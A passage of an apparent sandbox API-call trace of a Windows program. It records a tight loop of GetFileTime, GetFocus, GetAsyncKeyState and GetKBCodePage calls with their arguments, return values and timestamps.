hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.953] GetFocus () returned 0x0 [0226.953] GetAsyncKeyState (vKey=58) returned 0 [0226.953] GetKBCodePage () returned 0x1b5 [0226.953] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.954] GetFocus () returned 0x0 [0226.954] GetAsyncKeyState (vKey=58) returned 0 [0226.954] GetKBCodePage () returned 0x1b5 [0226.954] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.955] GetAsyncKeyState (vKey=58) returned 0 [0226.955] GetKBCodePage () returned 0x1b5 [0226.955] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.955] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.956] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.956] GetFocus () returned 0x0 [0226.956] GetAsyncKeyState (vKey=58) returned 0 [0226.956] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.957] GetAsyncKeyState (vKey=58) returned 0 [0226.957] GetKBCodePage () returned 0x1b5 [0226.957] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.957] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.958] GetKBCodePage () returned 0x1b5 [0226.958] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.958] GetFocus () returned 0x0 [0226.958] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.959] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.959] GetFocus () returned 0x0 [0226.959] GetAsyncKeyState (vKey=58) returned 0 [0226.959] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 